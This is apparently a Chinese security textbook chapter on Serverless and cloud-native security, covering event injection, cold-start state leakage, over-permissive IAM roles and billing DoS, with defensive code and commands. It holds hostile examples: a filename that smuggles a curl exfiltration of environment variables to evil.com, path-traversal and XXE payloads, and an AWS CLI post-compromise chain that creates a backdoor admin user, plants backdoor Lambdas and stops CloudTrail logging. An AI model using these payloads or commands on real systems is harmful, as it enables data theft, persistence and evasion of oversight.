新兴攻击面与专项安全 — 云原生与 Serverless
📚 本册属于《13-新兴攻击面与专项安全-实战专题》共 7 册中的 第 5 册 本册内容:第十章:新兴云原生与 Serverless 安全(共 12,063 行)
全 7 册导航:
分册 内容 规模 00-开篇与名词速查 第 0 册 名词速查 A~F(读任何一章前先扫一眼) 263 行
| 01-应用层安全(AI·API) | 第 1 册 第一、二章:AI/LLM 应用安全、API 安全 | 10,138 行 |
| 02-接口与客户端(GraphQL·移动·IoT) | 第 2 册 第三五章:GraphQL/gRPC、移动端、小程序、实时通信与 IoT | 21,168 行 |
| 03-主机与内网渗透 | 第 3 册 第六、七章:主机与操作系统安全、内网横向移动与域渗透 | 21,495 行 |
| 04-数字取证与供应链 | 第 4 册 第八、九章:数字取证与应急响应 DFIR、软件供应链安全 | 17,172 行 |
| 05-云原生与Serverless | 第 5 册 第十章:新兴云原生与 Serverless 安全 | 12,063 行 ← 本册 |
| 06-Web3·数据合规·实战·总汇 | 第 6 册 第十一十四章:Web3、数据合规、综合实战、全书总汇 | 3,709 行 |
术语看不懂?回 00-开篇与名词速查 或 00-名词速查手册 Ctrl+F。
第十章:新兴云原生与 Serverless 安全(边界消失之后)
本章定位:前面九章里,“服务器”这个概念虽然形态变了(物理机 → 虚拟机 → 容器), 但它依然存在 —— 你还能登录上去、还能看到进程、还能查日志。
第十章面对的世界不一样了:
传统架构: 你有一台服务器 → 你在上面跑应用 → 你负责它的安全 容器架构: 你有一批 Pod → 你还是能看到进程、能 exec 进去 Serverless: ★ 你没有服务器了 你只有【一段函数】, 云平台在你看不见的地方帮你跑,跑完就销毁 ┌─────────────────────────────────────────────────┐ │ Serverless 带来的三个根本变化: │ │ │ │ ① 【攻击面从"主机"转移到"配置和数据流"】 │ │ 你不再担心"服务器被 SSH 爆破", │ │ 但要担心"IAM 角色权限过大"、"事件被注入" │ │ │ │ ② 【边界消失】 │ │ 没有 IP、没有端口、没有主机可以加固 │ │ → 传统基于网络边界的防护全部失效 │ │ │ │ ③ 【权限模型的复杂度和危险度都大幅上升】 │ │ 函数需要权限访问其他云服务, │ │ ★ 而"给权限"这件事在云上特别容易给过头 │ └─────────────────────────────────────────────────┘本章回答五个问题
① Serverless(FaaS)到底有哪些新的攻击手法? → 事件注入、冷启动状态残留、权限过大、账单 DoS ② 基础设施即代码(Terraform / K8s YAML)怎么写才安全?怎么自动检查? → Checkov / tfsec / KICS / OPA ③ 169.254.169.254 这个地址为什么这么危险?SSRF 怎么偷走云凭据? → IMDSv1 vs IMDSv2 ④ 云上的 IAM 为什么比 Linux 的权限系统危险得多?跨账号访问怎么配才安全? → 混乱代理人问题、ExternalId、信任策略、权限边界 ⑤ 还有哪些新兴的云原生攻击面? → 服务网格、eBPF、WebAssembly、AI 工作负载、GitOps为什么工程师必须懂这个
场景:你们公司把业务迁到了云函数(AWS Lambda / 阿里云 FC / 腾讯云 SCF)。 老板说:"我们用了 Serverless,没有服务器了,应该更安全了吧?" 你怎么回答? ❌ 错误回答:"是的,云厂商负责安全。" → 云平台只负责【云平台自身】的安全(虚拟机、网络、存储), 你的代码、配置和权限是【你的责任】 ★ 这就是云的"责任共担模型"(Shared Responsibility Model) ✅ 正确回答:"底层安全确实由云厂商负责了, 但我们的攻击面只是【转移】了,没有消失: - 我们之前担心服务器被入侵, 现在要担心【函数权限过大】 - 之前担心端口暴露, 现在要担心【事件源被注入恶意数据】 - 之前担心被种挖矿木马, 现在要担心【被人刷调用量产生天价账单】 我会做一次专项评估。"
本文档名词速查(第十章涉及)
| 名词 | 白话解释 | 出处 |
|---|---|---|
| Serverless(无服务器) | 不是真的没有服务器,而是“你不用管服务器”,只写代码,云平台帮你跑 | 10.1.1 |
| FaaS | Function as a Service:函数即服务,Serverless 的主流形态(AWS Lambda 等) | 10.1.1 |
| 冷启动(Cold Start) | 函数长时间没被调用,平台要重新准备运行环境,第一次调用特别慢(几百毫秒~几秒) | 10.1.3 |
| 热启动 / 容器复用 | 平台会复用已经准备好的环境,省去冷启动开销 —— ★ 状态会残留到下一次调用 | 10.1.3 |
| 事件注入(Event Injection) | 攻击者控制了传给函数的输入数据(如 S3 对象名、MQ 消息),在函数里被当作代码/命令执行 | 10.1.2 |
| 事件源(Event Source) | 触发函数执行的东西:HTTP 请求、消息队列、对象存储、定时任务、数据库变更流 | 10.1.2 |
| 执行角色(Execution Role) | 函数运行时使用的身份,决定了它能访问哪些云资源 | 10.1.4 |
| 账单 DoS(Financial DoS) | 疯狂调用函数,不是把服务打挂,而是让受害者收到天价账单 | 10.1.5 |
| 并发限制(Concurrency Limit) | 限制函数同时执行的最大实例数,★ 防账单 DoS 的关键配置 | 10.1.5 |
| IaC | Infrastructure as Code:用代码定义基础设施(Terraform、CloudFormation、K8s YAML) | 10.2.1 |
| Terraform | HashiCorp 出的 IaC 工具,用 HCL 语言声明云资源 | 10.2.1 |
| tfstate | Terraform 的状态文件,记录了“实际创建了哪些资源”,★ 里面全是明文敏感信息 | 10.2.5 |
| 漂移(Drift) | 实际云上的配置和代码里声明的不一致了(有人手工改了控制台) | 10.2.6 |
| Checkov / tfsec / KICS | 三种主流的 IaC 静态扫描工具 | 10.2.2 |
| OPA / Rego | 开放策略代理:通用的策略引擎,用 Rego 语言写规则,可以做准入控制和 IaC 检查 | 10.2.4 |
| 策略即代码(Policy as Code) | 把安全策略写成代码,自动执行,而不是写在文档里靠人遵守 | 10.2.4 |
| IMDS | Instance Metadata Service:实例元数据服务,云主机上一个固定地址(169.254.169.254),能查到自己的临时凭据 | 10.3.1 |
| SSRF | 服务端请求伪造:让服务器去访问攻击者指定的地址(详见 11 号文档) | 10.3.1 |
| IMDSv2 | IMDS 的第二版,需要先用 PUT 请求换一张临时 token 才能读元数据,★ 能防住大部分 SSRF 利用 | 10.3.2 |
| Confused Deputy(混乱代理人) | A 让 B 去干活,B 的权限被 A 滥用了 —— 跨账号访问里的经典问题 | 10.4.2 |
| AssumeRole | 云上的“切换身份”:用当前身份换取另一个角色的临时凭证 | 10.4.2 |
| ExternalId | 跨账号授权时的一个“暗号”,防止混乱代理人问题 | 10.4.2 |
| 信任策略(Trust Policy) | 定义“谁可以 Assume 这个角色”,★ 云 IAM 里最容易配错的东西 | 10.4.2 |
| 权限边界(Permissions Boundary) | 给一个身份设置“权限天花板”,不管怎么授权都不能超过它 | 10.4.4 |
| SCP | Service Control Policy:AWS Organizations 里的组织级策略,限制所有账号的上限 | 10.4.4 |
| 服务网格(Service Mesh) | 在应用之外加一层基础设施,统一处理服务间通信(Istio/Linkerd) | 10.5.1 |
| mTLS | 双向 TLS:不只客户端验证服务端,服务端也验证客户端 | 10.5.1 |
| eBPF | 可以在 Linux 内核里安全运行小程序的技术,用于网络、可观测性、安全 | 10.5.2 |
| WASI / Wasm | WebAssembly 的系统接口,让 Wasm 能在浏览器外跑,常被用作轻量沙箱 | 10.5.3 |
| GitOps | 用 Git 仓库作为基础设施的“唯一事实来源”,CD 工具自动同步(ArgoCD / Flux) | 10.5.5 |
10.1 Serverless(FaaS)安全
10.1.1 Serverless 到底改变了什么
定义:Serverless(无服务器)不是真的没有服务器,而是你不用管服务器。你只提供代码(函数),云平台负责运行、扩缩容、高可用、打补丁。
主流产品:AWS Lambda、Azure Functions、Google Cloud Functions、阿里云函数计算(FC)、腾讯云云函数(SCF)、华为云 FunctionGraph。
★ 责任共担模型(Shared Responsibility Model) —— 这是理解云安全的地基:
┌──────────────────────────────────────────────────────────┐
│ 责任划分(以 FaaS 为例) │
├──────────────────────────────────────────────────────────┤
│ │
│ 【云厂商负责】 【你负责】 │
│ ✓ 物理机安全 ✓ 你的函数代码 │
│ ✓ 虚拟化层隔离 ✓ 函数的 IAM 权限 ★★★ │
│ ✓ 运行时补丁(Node/Python) ★ 你的依赖(含漏洞的库) │
│ ✓ 扩缩容与高可用 ✓ 函数的配置 │
│ ✓ 网络基础设施 (超时、内存、并发) │
│ ✓ 函数沙箱的隔离 ✓ 输入验证 ★★★ │
│ ✓ 数据加密与密钥管理 │
│ ✓ 日志与监控 │
│ │
│ ★ 关键:边界在【运行时】这里 │
│ 云厂商保证"你的函数跑在受控沙箱里", │
│ 但【函数在沙箱里做什么、能访问什么】是你的责任。 │
└──────────────────────────────────────────────────────────┘
★ 一句话记忆:
云厂商负责"服务器的安全",你负责"服务器【上】的安全"
—— 即使你看不到那台服务器。
★ Serverless 攻击面的五个转移(面试时画这张表特别有说服力):
| 传统架构的攻击面 | Serverless 里变成什么 | 为什么更危险 |
|---|---|---|
| SSH 弱密码 / 22 端口暴露 | ❌ 消失了(没有主机可以登录) | — |
| 未打补丁的系统漏洞(如脏牛提权) | ❌ 大部分消失了(平台负责打补丁) | — |
| Web 应用漏洞(SQL 注入、XSS) | ✅ 依然存在(你的代码还是有这些洞) | 一样 |
| 服务器被种持久化(crontab、后门) | 🆕 变成账号内的持久化(新建函数、改触发器) | ★ 更隐蔽:没有主机可查,只能查云 API 调用日志 |
| 横向移动到其他服务器 | 🆕 变成通过 IAM 角色访问其他云服务 | ★★ 更危险:一个函数的权限可能覆盖整个云账号 |
| 端口扫描 / 网络探测 | 🆕 变成云元数据服务 SSRF(169.254.169.254) | ★ 极其常见且危害大(10.3) |
| 资源耗尽 DoS(打挂服务器) | 🆕 变成账单 DoS(打不挂,但让你破产) | ★ 传统防护全部无效 |
| 配置文件泄露 | 🆕 变成环境变量 / IaC / tfstate 泄露 | 更集中,泄露一次全完 |
| — | 🆕 事件注入(新增的攻击面,传统架构没有) | ★ 见 10.1.2 |
| — | 🆕 冷启动状态残留(新增,传统架构没有) | ★ 见 10.1.3 |
10.1.2 事件注入(Serverless 特有的“注入攻击”)
★ 定义:Serverless 函数通常不是被 HTTP 请求直接调用的,而是被各种事件源触发的。攻击者如果能控制事件的内容,而函数又没做验证就把事件数据当作命令、路径、SQL、模板来用 —— 这就是事件注入。
传统 Web:
用户输入 → 你的代码 → SQL 查询
★ 大家都知道要参数化查询
Serverless:
事件源(S3 上传 / MQ 消息 / 数据库变更流)→ 你的函数 → 处理逻辑
★★ 很多人【忘了事件源也是不可信输入】!
错误认知:"这是我们自己系统产生的事件,肯定是安全的"
★ 真相:
- S3 的对象名/内容 —— 用户上传的,完全可控
- 消息队列的消息体 —— producer 可能被攻陷
- 数据库变更流 —— 数据来自用户输入
- HTTP 请求 —— 最显然的不可信输入
- 定时事件 —— 唯一相对可信的
★ 七种典型的事件注入
# ============================================================
# ① 命令注入(最常见的致命错误)
# ============================================================
# ❌ 危险:S3 上传图片后触发缩略图生成函数
import os
def lambda_handler(event, context):
# event['Records'][0]['s3']['object']['key'] = 用户上传的文件名
filename = event['Records'][0]['s3']['object']['key']
# ★★★ 攻击者上传一个文件名叫:
# "cat.jpg; curl https://evil.com/$(env | base64 -w0)"
# 或者 "cat.jpg && rm -rf /tmp/*"
os.system(f"convert /tmp/{filename} -resize 200x200 /tmp/thumb_{filename}")
# → 命令注入成功,攻击者可以在函数环境里执行任意命令
# ✅ 正确做法:用列表传参(不用 shell),且校验文件名
import subprocess
def lambda_handler(event, context):
import re
filename = event['Records'][0]['s3']['object']['key']
# ★ ① 白名单校验文件名(这是最关键的一步)
if not re.fullmatch(r'[a-zA-Z0-9._/-]{1,255}', filename) or '..' in filename:
raise ValueError(f"Invalid filename: {filename}")
# ★ ② 用列表传参,不走 shell(shell=False 是默认值)
subprocess.run(
['convert', f'/tmp/{filename}', '-resize', '200x200', f'/tmp/thumb_{filename}'],
check=True, timeout=30
)
# ============================================================
# ② 路径遍历(Path Traversal)
# ============================================================
# ❌ 危险
def lambda_handler(event, context):
key = event['key']
with open(f"/data/{key}", 'r') as f: # key = "../../../etc/passwd"
return f.read()
# ✅ 正确:规范化路径 + 校验在允许的根目录内
import os
def lambda_handler(event, context):
key = event['key']
base = "/data"
full = os.path.realpath(os.path.join(base, key))
# ★ 关键:realpath 解析掉 ../,然后检查是否仍在 base 之内
if not full.startswith(os.path.realpath(base) + os.sep):
raise ValueError("Path traversal detected")
with open(full, 'r') as f:
return f.read()
# ============================================================
# ③ SQL 注入(在 Serverless 里一样常见)
# ============================================================
# ❌ 危险
def lambda_handler(event, context):
user_id = event['queryStringParameters']['userId']
sql = f"SELECT * FROM users WHERE id = '{user_id}'" # ' OR '1'='1
return db.query(sql)
# ✅ 正确:参数化查询(和传统 Web 一样)
def lambda_handler(event, context):
user_id = event['queryStringParameters']['userId']
sql = "SELECT * FROM users WHERE id = %s"
return db.query(sql, (user_id,))
# ============================================================
# ④ 反序列化漏洞(★ Serverless 里特别常见,因为事件常带 JSON/对象)
# ============================================================
# ❌ 危险:Python 的 pickle
import pickle
def lambda_handler(event, context):
data = base64.b64decode(event['body'])
obj = pickle.loads(data) # ★★★ pickle 反序列化 = 任意代码执行
return obj.process()
# ✅ 正确:用 JSON(不执行代码)
import json
def lambda_handler(event, context):
obj = json.loads(event['body'])
# ★ 然后再做 schema 校验
if 'action' not in obj or obj['action'] not in ALLOWED_ACTIONS:
raise ValueError("Invalid action")
return handle(obj)
# ============================================================
# ⑤ 模板注入(SSTI)
# ============================================================
# ❌ 危险
from jinja2 import Template
def lambda_handler(event, context):
name = event['name']
return Template(f"Hello {name}").render()
# name = "{{ config.items() }}" 或 "{{ ''.__class__... }}" → RCE
# ✅ 正确:用模板文件 + 变量传参,绝不拼接用户输入进模板字符串
from jinja2 import Environment, select_autoescape
env = Environment(autoescape=select_autoescape(['html']))
def lambda_handler(event, context):
tmpl = env.from_string("Hello {{ name }}") # ★ 模板固定
return tmpl.render(name=event['name']) # ★ 数据只作为参数
# ============================================================
# ⑥ NoSQL 注入(MongoDB / DynamoDB)
# ============================================================
# ❌ 危险
def lambda_handler(event, context):
query = json.loads(event['body']) # 用户直接传 {"$gt": ""}
return db.users.find(query) # → 返回所有用户
# ✅ 正确:只接受特定字段,且做类型校验
def lambda_handler(event, context):
body = json.loads(event['body'])
user_id = body.get('userId')
if not isinstance(user_id, str) or not user_id.isalnum():
raise ValueError("Invalid userId")
return db.users.find_one({"_id": user_id})
# ============================================================
# ⑦ XML 外部实体注入(XXE)—— 处理 XML 事件时
# ============================================================
# ❌ 危险:默认的 XML 解析器会解析外部实体
import xml.etree.ElementTree as ET
def lambda_handler(event, context):
root = ET.fromstring(event['body'])
# <?xml version="1.0"?>
# <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
# <foo>&xxe;</foo>
# → 读到函数容器的 /etc/passwd,甚至能读环境变量
return root.text
# ✅ 正确:禁用外部实体
from defusedxml.ElementTree import fromstring # pip install defusedxml
def lambda_handler(event, context):
root = fromstring(event['body'])
return root.text
★ Serverless 事件注入的防御框架(四条):
① ★ 把所有事件源都当作不可信输入(改变认知,这是第一位的)
不要因为"这是我们自己的 S3 / 自己的 MQ"就放松警惕。
★ 判断标准:这个数据【有没有经过外部用户】?
哪怕经过了 3 层系统,只要源头是外部的,就不可信。
② 白名单校验,不是黑名单
❌ if ';' in filename or '&' in filename: → 永远列不全
✅ re.fullmatch(r'[a-zA-Z0-9._-]{1,64}', filename)
★ Serverless 函数通常功能单一,输入格式很固定,
特别适合做【严格的 schema 校验】(如用 pydantic / JSON Schema)
③ 用安全的 API 替代危险的 API
os.system() → subprocess.run([列表], shell=False)
pickle.loads() → json.loads()
eval() / exec() → 不要用
字符串拼接 SQL → 参数化查询
字符串拼接模板 → 模板 + 变量渲染
默认 XML 解析器 → defusedxml
④ ★ 最小权限(就算被注入了,损失也有限)
函数的执行角色只给它必需的那几个权限(10.1.4)
→ 就算攻击者 RCE 了,他也只能访问那一个 S3 桶,拿不到整个云账号
10.1.3 冷启动与状态残留(Serverless 独有的坑)
冷启动是什么:
函数长时间没被调用 → 平台回收了运行环境
下次调用 → 平台要重新准备(下载代码、启动运行时、初始化)→ 慢
冷启动耗时参考:
Python / Node.js: 200ms ~ 1s
Java(JVM): 1s ~ 5s ★ 最慢,因为要启动 JVM
Go / Rust: 100ms ~ 500ms
★ 为了性能,平台会【复用】已经准备好环境:
请求 1 → 冷启动 → 执行 → 环境保留
请求 2 → ★ 复用上一次的环境 → 执行 → 环境保留
...
空闲 15~30 分钟 → 环境回收
★ 状态残留为什么是个安全问题:
传统 Web 应用:
请求之间是【共享同一个进程】的 —— 开发者习惯了"全局变量会保留"
Serverless:
★ 开发者容易误以为"每次调用都是全新的"
实际上:同一个环境会被复用成百上千次
→ 于是产生了两类问题:
问题一:【全局变量跨请求泄漏】(★ 最严重)
```python
# ❌ 危险:把用户数据存在全局变量里
current_user = None
def lambda_handler(event, context):
global current_user
current_user = authenticate(event['token']) # 用户 A 登录
# ... 中间如果出错 return 了,current_user 没被清空 ...
return do_something(current_user)
# 下一次调用(可能是用户 B!)
# 如果走了某个没重新赋值的分支 → 用的是【用户 A】的身份!
# ★ 这是真实的越权漏洞,而且极难复现(依赖调用顺序)
```
问题二:【/tmp 目录跨请求残留】
```python
# ❌ 危险:把敏感文件写在 /tmp
def lambda_handler(event, context):
open('/tmp/secret.txt', 'w').write(sensitive_data)
# ★ 函数执行完,/tmp 里的文件还在!
# 下一次调用(可能是别人的请求)能读到
# ★ 而且 /tmp 在函数实例被回收前一直存在(可能几小时)
```
★ 更麻烦的是:你不知道下一次调用是不是复用同一个环境
→ 这类 bug 表现为"偶发的诡异问题",极难排查
★ 正确的写法:
# ============================================================
# ✅ 原则一:绝不用全局变量存请求相关的数据
# ============================================================
# 只把【无状态、可共享】的东西放全局(用于性能优化)
import boto3
# ✅ 安全:数据库连接、SDK client 放全局(复用连接,加速冷启动)
# ★ 这些对象本身不含用户数据,可以安全复用
s3_client = boto3.client('s3')
db_pool = create_connection_pool() # 连接池
# ✅ 安全:只读的配置放全局
CONFIG = load_config()
def lambda_handler(event, context):
# ✅ 用户相关的数据一律放【局部变量】或 context 对象里
user = authenticate(event['token'])
# ... 处理请求 ...
result = do_something(user, db_pool)
return result
# ★ 函数返回时,局部变量自动销毁,不会残留
# ============================================================
# ✅ 原则二:敏感临时文件必须显式清理,且用 try/finally
# ============================================================
import os
import tempfile
def lambda_handler(event, context):
tmp_path = None
try:
# ✅ 用 tempfile 生成唯一文件名(避免和其他调用冲突)
fd, tmp_path = tempfile.mkstemp(suffix='.dat', dir='/tmp')
with os.fdopen(fd, 'wb') as f:
f.write(sensitive_data)
result = process_file(tmp_path)
return result
finally:
# ★★ 无论成功失败都清理(finally 保证执行)
if tmp_path and os.path.exists(tmp_path):
# ✅ 更严谨:覆写后再删(防止被恢复)
with open(tmp_path, 'wb') as f:
f.write(os.urandom(os.path.getsize(tmp_path)))
os.remove(tmp_path)
# ============================================================
# ✅ 原则三:★ 不要依赖"环境会/不会被复用"做任何假设
# ============================================================
# ❌ 错误:在全局缓存里做限流(以为每次都是新环境)
# request_count = 0
# def lambda_handler(...):
# global request_count
# request_count += 1
# if request_count > 100: return "rate limited"
# ★ 这个限流完全不可靠:可能有 50 个并发环境,各自计数
# ✅ 正确:用外部存储做限流(Redis / DynamoDB)
import redis
r = redis.Redis(host=os.environ['REDIS_HOST']) # 客户端可复用
def lambda_handler(event, context):
key = f"rate:{event['userId']}"
count = r.incr(key)
r.expire(key, 60)
if count > 100:
return {"statusCode": 429, "body": "Rate limited"}
return handle(event)
# ============================================================
# ✅ 原则四:环境变量里的密钥泄露要特别注意
# ============================================================
# ★ Serverless 的环境变量是【明文存储】在云平台配置里的,
# 任何有"查看函数配置"权限的人都能看到。
# 而且在函数里很容易被打印出来。
# ❌ 危险:调试时打印整个环境
def lambda_handler(event, context):
print(f"DEBUG: {os.environ}") # ★ 密钥全进日志了
# ★ 更糟的是:很多公司的日志是"所有人可读"的,
# 甚至有些把日志输出到了公开的 S3 桶
# ✅ 正确:
# ① 密钥放专门的密钥管理服务(AWS Secrets Manager / 阿里云 KMS)
# 运行时动态获取并缓存
# ② 打印日志时脱敏
import logging
logger = logging.getLogger()
logger.setLevel(logging.INFO)
def lambda_handler(event, context):
# ✅ 只打印必要信息,且脱敏
logger.info("Processing request", extra={
"requestId": context.aws_request_id,
"userId": hash_id(event.get('userId')), # 哈希后打印
# ★ 不打印 token、密码、密钥
})
★ 冷启动本身的攻击面(提一下即可,进阶知识):
① 冷启动时间侧信道
攻击者可以通过测量响应时间,判断"我这次请求是不是冷启动",
从而推断该函数的调用频率、什么时候被用过。
→ 信息泄露,危害通常不大
② 冷启动期间的"预热攻击"
攻击者频繁触发冷启动(让平台不断重建环境),
增加延迟和成本。
→ 用预置并发(Provisioned Concurrency)缓解
③ ★ 资源复用导致的"临时凭据跨调用"
函数拿到的临时凭据(从环境变量 AWS_ACCESS_KEY_ID 等)
在整个环境生命周期内有效。
→ 如果代码有漏洞让攻击者读到了环境变量,
他拿到的凭据能用到环境被回收为止
10.1.4 权限过大:Serverless 最致命的问题
★ 如果这一章只记一件事,记这个:
Serverless 安全里,最常见、最致命、最容易犯的错误是:
★ 给函数的执行角色权限过大
典型错误:
"lambda_role": {
"Action": "*",
"Resource": "*"
}
→ 这个函数可以访问【云账号里的一切】:
所有 S3 桶、所有数据库、所有密钥、
★ 甚至可以创建新的 IAM 用户给自己开后门
★ 为什么这个错误特别普遍?
① 开发时"先给个 * 跑通再说",上线忘了收
② 云 IAM 的策略语法复杂,写精确策略很麻烦
③ 一个函数常常要访问好几个服务,权限越加越多
④ 出问题排查时,第一反应是"加点权限试试"
⑤ ★ 没有工具告诉你"这个函数实际用到了哪些权限"
★ 一个真实攻擊链(拿到函数权限后能干什么):
初始:攻击者通过 SSRF(10.3)拿到了 Lambda 执行角色的临时凭据
第一步:枚举当前权限
aws sts get-caller-identity → 我是谁
aws iam list-attached-role-policies → 我有哪些策略(如果允许)
# ★ 如果没权限,就用"试错法":挨个调 API 看哪个成功
第二步:横向访问云资源
aws s3 ls → 列出所有桶
aws s3 sync s3://company-data ./ → ★ 拖走全部数据
aws secretsmanager list-secrets → 列出所有密钥
aws rds describe-db-instances → 找数据库
第三步:★ 提权(如果角色有 iam:* 权限)
aws iam create-user --user-name backup-svc
aws iam attach-user-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam create-access-key --user-name backup-svc
# ★ 创建了一个持久的管理员账号 —— 就算原来的漏洞修好了,他还在
第四步:★ 持久化(Serverless 特有)
# ① 创建一个新的 Lambda 函数作为后门
aws lambda create-function --function-name "health-check" ...
# ② 给它加一个定时触发器(每天执行一次,连回 C2)
aws events put-rule --schedule-expression "rate(1 day)"
# ③ 修改现有函数的代码(★ 最隐蔽)
aws lambda update-function-code --function-name legit-function --zip-file fileb://backdoor.zip
# → 业务看起来正常运行,但已经在向外传数据
第五步:掩盖痕迹
# ★ 云上的日志(CloudTrail)是可以被关掉的
aws cloudtrail stop-logging --name management-events
# → 之后的 API 调用都不记录了(所以日志本身要防篡改,见下)
★ 正确的权限配置(最小权限原则):
// ============================================================
// ❌ 危险写法 1:通配一切
// ============================================================
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}]
}
// ============================================================
// ❌ 危险写法 2:看起来"只给了 S3",实际上是所有桶的所有操作
// ============================================================
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": "s3:*",
"Resource": "*"
}]
}
// ============================================================
// ✅ 正确写法:精确到"哪个桶的哪个前缀的哪些操作"
// ============================================================
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "ReadSourceBucket",
"Effect": "Allow",
"Action": [
"s3:GetObject", // ★ 只给 Get,不给 Put/Delete
"s3:GetObjectVersion"
],
"Resource": "arn:aws:s3:::acme-uploads-prod/incoming/*"
// ↑ 精确到前缀:只能读 incoming/ 下的
},
{
"Sid": "WriteThumbnails",
"Effect": "Allow",
"Action": ["s3:PutObject"],
"Resource": "arn:aws:s3:::acme-uploads-prod/thumbnails/*"
},
{
"Sid": "WriteLogs",
"Effect": "Allow",
"Action": [
"logs:CreateLogGroup",
"logs:CreateLogStream",
"logs:PutLogEvents"
],
"Resource": "arn:aws:logs:cn-north-1:123456789012:log-group:/aws/lambda/acme-thumbnail:*"
},
{
"Sid": "DecryptWithKMSKey",
"Effect": "Allow",
"Action": ["kms:Decrypt"],
"Resource": "arn:aws:kms:cn-north-1:123456789012:key/abcd1234-...",
"Condition": {
// ★ 用条件进一步限制:只有来自这个 KMS 密钥的加密上下文才允许
"StringEquals": {
"kms:EncryptionContext:service": "thumbnail"
}
}
}
]
}
// ★ 注意:这个策略里【没有】iam:* 、没有 secretsmanager:* 、
// 没有 lambda:UpdateFunctionCode
// → 就算这个函数被 RCE 了,攻击者也只能在两个 S3 前缀里读写
★ 怎么知道“实际需要哪些权限”(这是最难的部分,给方法):
# 方法一:★ 用 CloudTrail / 云审计日志反推(推荐)
# 思路:先给一个宽松权限跑一段时间,从日志里统计"实际调用了哪些 API",
# 然后据此生成最小权限策略,再收紧
# AWS:用 IAM Access Analyzer 自动生成策略
aws accessanalyzer start-policy-generation \
--policy-generation-details '{
"principalArn": "arn:aws:iam::123456789012:role/acme-lambda-role"
}' \
--cloud-trail-details '{
"trails": [{"cloudTrailArn": "arn:aws:cloudtrail:...", "regions": ["cn-north-1"],
"allRegions": false}],
"accessRole": "arn:aws:iam::123456789012:role/CloudTrailAccessRole"
}'
# → 它会分析 CloudTrail 里这个角色的实际调用,生成精确策略
# 方法二:本地试跑(适合开发环境)
# 用一个"只写日志不实际执行"的代理,
# 或者先用宽松策略跑测试,然后看 CloudWatch Logs 里的 SDK 调用
# 方法三:用开源工具
# - policy_sentry(Salesforce 出品):按"资源类型 + 访问级别"生成最小策略
# pip install policy-sentry
# policy_sentry create-template --output-file policy.yml --template-type actions
# policy_sentry write-policy --input-file policy.yml
# - Cloudsplaining:分析现有策略,找出危险权限
# pip install cloudsplaining
# cloudsplaining scan --input-file account-authorization-details.json
# ★ 人工审查清单(不管用不用工具,都要看这几项)
# □ 有没有 Action: "*" 或 s3:* / iam:* 这类服务级通配
# □ 有没有 Resource: "*"
# □ 有没有这些【高危权限】:
# iam:CreateUser / iam:CreateAccessKey / iam:AttachUserPolicy (创建后门)
# iam:PutRolePolicy / iam:AttachRolePolicy (给自己加权限)
# lambda:UpdateFunctionCode / lambda:CreateFunction (植入后门)
# cloudtrail:StopLogging / cloudtrail:DeleteTrail (毁日志)
# s3:PutBucketPolicy (把桶改成公开)
# sts:AssumeRole (且没有限制 Resource) (横向到其他角色)
# kms:Decrypt 且 Resource 是 * (解开所有加密)
10.1.5 账单 DoS(Financial Denial of Service)
★ 定义:攻击者不是把你的服务打挂,而是疯狂调用你的函数,让你收到天价账单。
为什么 Serverless 特别容易中招:
传统架构:服务器资源固定
攻击者刷流量 → 服务器 CPU 100% → 服务变慢或挂掉
★ 但你的成本是【固定的】(服务器已经买了)
Serverless:按调用次数和执行时间计费
攻击者刷流量 → 平台自动扩容 → 你的服务【不会挂】
★★ 但你的账单【线性增长】
算一笔账(AWS Lambda 参考价格):
单价:$0.0000166667 / GB-秒 + $0.20 / 100 万次请求
假设函数内存 1024MB(1GB),每次执行 500ms
正常流量: 100 万次/月 → 100万 × 1GB × 0.5s = 50万 GB-秒
→ 500000 × 0.0000166667 = $8.33 + 请求费 $0.2 ≈ $8.5/月
被攻击: 攻击者用 1000 并发刷 24 小时
1000 并发 × 86400 秒 / 0.5 秒 = 1.728 亿次调用
→ 1.728亿 × 1GB × 0.5s = 8640 万 GB-秒
→ 86400000 × 0.0000166667 = $1440 + 请求费 $34.56
★ ≈ $1475 —— 【一天】
★ 如果是 10 万并发呢?一天十几万美元。
★ 真实案例:有公司因为一个无限循环的 Lambda 被触发,
一晚上产生 7 万美元账单。
★ 四种攻击手法:
① 直接刷 HTTP 端点
如果函数通过 API Gateway 暴露在公网,攻击者直接压测
★ 最直白
② 递归调用(★ 最容易自己踩坑)
函数 A 触发函数 B,B 又触发 A → 无限循环
★ 真实案例:有人写一个函数处理 S3 事件,
但函数的输出又写回了同一个 S3 桶 → 无限触发
→ 一夜之间几十万次调用
③ 文件上传炸弹
如果你的函数在 S3 上传时自动触发(缩略图、病毒扫描),
攻击者上传几百万个小文件 → 每个都触发一次函数调用
④ 慢函数 + 高并发
攻击者故意让函数执行到超时(如传一个超大文件让它处理很久),
同时保持高并发 → 按执行时间计费,成本飙升
★ 防御(五层):
# ============================================================
# 防御 1:★ 设置并发限制(最重要,一定要配)
# ============================================================
# AWS Lambda
aws lambda put-function-concurrency \
--function-name acme-thumbnail \
--reserved-concurrent-executions 50
# ★ 效果:这个函数最多同时跑 50 个实例
# → 就算被刷,账单也有上限
# ⚠️ 注意:预留并发会从账号的总并发池里扣除,
# 而且如果设太小会影响正常业务,要根据业务量评估
# ⚠️ 但要注意:预留并发是【预留】,意味着这 50 个并发
# 永远保留给这个函数,其他函数用不了
# → 如果账号总并发是 1000,给 10 个函数各预留 100,就用光了
# → 建议:只给"公网可访问"和"会被外部事件触发"的函数设
# ============================================================
# 防御 2:★ 设置预算告警(必须做,这是最后的安全网)
# ============================================================
aws budgets create-budget \
--account-id 123456789012 \
--budget '{
"BudgetName": "lambda-monthly-budget",
"BudgetLimit": {"Amount": "100", "Unit": "USD"},
"TimeUnit": "MONTHLY",
"BudgetType": "COST",
"CostFilters": {"Service": ["AWS Lambda"]}
}' \
--notifications-with-subscribers '[
{
"Notification": {
"NotificationType": "ACTUAL",
"ComparisonOperator": "GREATER_THAN",
"Threshold": 80,
"ThresholdType": "PERCENTAGE"
},
"Subscribers": [
{"SubscriptionType": "EMAIL", "Address": "oncall@acme.com"},
{"SubscriptionType": "SNS", "Address": "arn:aws:sns:...:budget-alert"}
]
}
]'
# ★ 建议设三档:50%(提醒)、80%(警告)、100%(严重)
# ★ 高级做法:100% 时触发一个 Lambda 自动把并发降到 0(紧急熔断)
# ============================================================
